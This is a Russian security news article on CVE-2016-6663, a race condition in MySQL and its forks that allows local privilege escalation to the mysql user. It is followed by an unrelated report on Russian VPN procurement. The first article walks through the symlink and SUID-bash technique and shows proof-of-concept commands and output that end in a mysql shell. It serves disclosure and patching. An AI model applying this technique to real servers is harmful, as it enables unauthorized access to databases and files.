Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Обнаружена уязвимость в MySQL, позволяющая поднять свои привилегии

Давид Голански (Dawid Golunski) продолжил публикацию исследований безопасности MySQL. В сентябре им были опубликованы сведения об уязвимости в сервере MySQL, позволяющей повысить свои привилегии до пользователя root.

Техника атаки была ограничена пользователями с правами FILE, но было сказано, что имеется метод обхода данного ограничения и атака может быть совершена любым непривилегированным пользователем СУБД. Спустя месяц Давид раскрыл информацию о новой уязвимости (CVE-2016-6663), позволяющей обойти систему ограничения привилегий MySQL.

Уязвимость затрагивает MySQL и производные продукты, такие как MariaDB и Percona Server, и позволяет локальному пользователю, имеющему доступ к СУБД с типовыми правами на выполнение операций CREATE, INSERT и SELECT, получить полномочия администратора СУБД (обычно пользователь mysql) и возможность записи и чтения любых файлов MySQL, в том числе конфигурационных файлов и БД других пользователей. В сочетании с ранее обнародованной уязвимостью CVE-2016-6662, новая проблема упрощает проведение атаки по получению прав root на сервере с MySQL, пишет opennet.ru.

Уязвимость основана на использовании состояния гонки при работе с таблицами, размещёнными в подконтрольных пользователю директориях. Пользователь с правами "CREATE table" может через параметр "DATA DIRECTORY" задать путь к каталогу, где будет сохранена создаваемая таблица. В том числе таблицу можно разместить в директории, которая принадлежит пользователю, но файлы MySQL в данной директории будут размещены под пользователем mysql:

   attacker@debian:~$ ls -ld /tmp/disktable/
   drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

   mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

   attacker@debian:~$ ls -l /tmp/disktable/
   -rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD

При выполнении команды "REPAIR TABLE", MySQL создаёт в той же директории временный файл, сохраняет параметры исходного файла таблицы, копирует данные и после завершения работы с временным файлом выполняет операции восстановления прав доступа и переименовывает временный файл в основной файл таблицы. Так как владельцем директории является атакующий и он имеет возможность манипулировать файлами, суть атаки сводится к подмене временного файла в промежуток после проверки параметров файла, но до выполнения chmod(). В итоге атакующий может подставить вместо временного файла символическую ссылку, указывающую на директорию /var/lib/mysql. На завершающей стадии работы "REPAIR TABLE" к ссылке на /var/lib/mysql будет применена операция chmod() с параметрами исходного файла таблицы пользователя, т.е. атакующий получит возможность установить произвольные права доступа на директорию /var/lib/mysql, изменив права на исходный файл со своей таблицей, например, установив на файл с таблицей права 777.

Через манипуляцию с битом SUID и его переносом на исполняемый файл, можно добиться выполнения произвольного кода в системе с правами mysql. Для этого на директорию пользователя следует выставить "sticky bit" и установить права drwxrwsrwx, после чего создание таблицы в данной директории приведёт к образованию файла с правами -rw-rw----, владельцем mysql и группой как у атакующего. Доступ членов группы на запись даёт возможность заменить содержимое файла таблицы на /bin/bash, после чего можно использовать вышеописанное состояние гонки для переноса на файл таблицы suid-бита и прав на запуск. В итоге получим исполняемый файл с копией bash и suid-битом для запуска с правами mysql.

   attacker@xenial:~/mysql-exploit$ ./mysql-privesc-race attacker pocsql localhost pocdb

   [+] Starting the exploit as: 
   uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

   [+] Connecting to the database `pocdb` as attacker@localhost

   [+] Creating exploit temp directory /tmp/mysql_privesc_exploit

   [+] Creating mysql tables 

   DROP TABLE IF EXISTS exploit_table 
   DROP TABLE IF EXISTS mysql_suid_shell 
   CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
   CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

   [+] Copying bash into the mysql_suid_shell table. 
       After the exploitation the following file/table will be assigned SUID and executable bits : 
   -rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Entering the race loop... Hang in there...


   [+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: 

   -rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

   [+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

   mysql_suid_shell.MYD-4.3$ whoami
   mysql

   mysql_suid_shell.MYD-4.3$ id
   uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)

   mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
   -rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
   -rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
   -rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI

Уязвимость устранена в выпусках MySQL 5.5.52, 5.6.33 и 5.7.15, а также в MariaDB 5.5.52, 10.1.18 и 10.0.28, в Percona Server 5.5.51-38.2, 5.6.32-78-1 и 5.7.14-8, в Percona XtraDB Cluster 5.6.32-25.17, 5.7.14-26.17 и 5.5.41-37.0. Так как производители были заведомо информированы о проблеме, обновления пакетов уже выпущены для Debian, RHEL, Ubuntu, FreeBSD, Ubuntu и SUSE. 

Закупки VPN госзаказчиками выросли в штуках, но упали в деньгах

Общее количество завершённых закупок виртуальных частных сетей (VPN), по данным «Контур.Эгиды» и Staffcop, в 2025 году выросло на 18,5% в количественном выражении — с 8,7 тыс. до 10,3 тыс. процедур. При этом совокупный объём рынка за тот же период сократился на 25,9% — с 32,97 млрд до 24,43 млрд рублей.

Ключевой причиной столь разнонаправленной динамики аналитики называют заметное снижение средней стоимости контрактов. По итогам 2025 года она уменьшилась на 38% и составила 2,44 млн рублей против 3,92 млн рублей годом ранее.

Одновременно усилилось и снижение цен со стороны поставщиков: с 14,7% в 2024 году до 18,4% в 2025 году.

Наиболее ёмким сегментом рынка VPN остаются закупки по 44-ФЗ. В 2025 году в этом сегменте было проведено 4,3 тыс. процедур на сумму 19,87 млрд рублей. Для сравнения, годом ранее объём закупок по 44-ФЗ составлял 29,18 млрд рублей при 4,1 тыс. процедур. Основным фактором снижения в денежном выражении стало падение средней стоимости контракта почти на треть — с 7,1 млн до 4,62 млн рублей.

Закупки по 223-ФЗ, напротив, продемонстрировали умеренный рост, в том числе в денежном выражении. В 2025 году их объём достиг 3,28 млрд рублей против 2,48 млрд рублей годом ранее, а количество сделок увеличилось с 468 до 532. При этом уровень снижения цены за год вырос с 15,4% до 18,5%, что, по оценке аналитиков, указывает на усиление конкуренции, прежде всего в крупных контрактах.

В коммерческом сегменте в 2025 году было зафиксировано около 1,0 тыс. закупок VPN на сумму 791 млн рублей, тогда как годом ранее — 758 сделок на 965 млн рублей. В малых закупках количество процедур выросло с 3,4 тыс. до 4,5 тыс., а совокупный объём — с 345 млн до 482 млн рублей. При этом средняя стоимость сделки практически не изменилась и составила около 100 тыс. рублей.

Снижение совокупного объёма рынка VPN на фоне роста количества закупок аналитики во многом связывают с эффектом отложенного спроса. Значительная часть крупных заказчиков ранее закрыла потребности в VPN-инфраструктуре, заключив контракты сразу на несколько лет, что снизило потребность в новых крупных закупках в 2025 году.

Дополнительным фактором стало перераспределение части закупок на специализированные электронные площадки, из-за чего снизился «видимый» объём рынка в открытых сегментах 44-ФЗ и 223-ФЗ. Одновременно заказчики всё чаще прибегают к малым и упрощённым процедурам, поскольку такой формат быстрее и удобнее при типовых задачах и ограниченных бюджетах.

Ситуацию на рынке прокомментировал Юрий Драченин, заместитель руководителя продуктовой группы «Контур.Эгида» и Staffcop («СКБ Контур»):

«В сегменте присутствует большое количество производителей, включая новых и нишевых игроков, которые активно выходят к заказчикам с альтернативными решениями. В результате крупные организации, уже внедрившие комплексные и дорогостоящие VPN-платформы, сокращают объёмы новых закупок, тогда как спрос смещается в сторону малого и среднего бизнеса. Это усиливает ценовую конкуренцию и приводит к снижению средней стоимости контрактов при росте количества процедур», — отметил он.

RSS: Новости на портале Anti-Malware.ru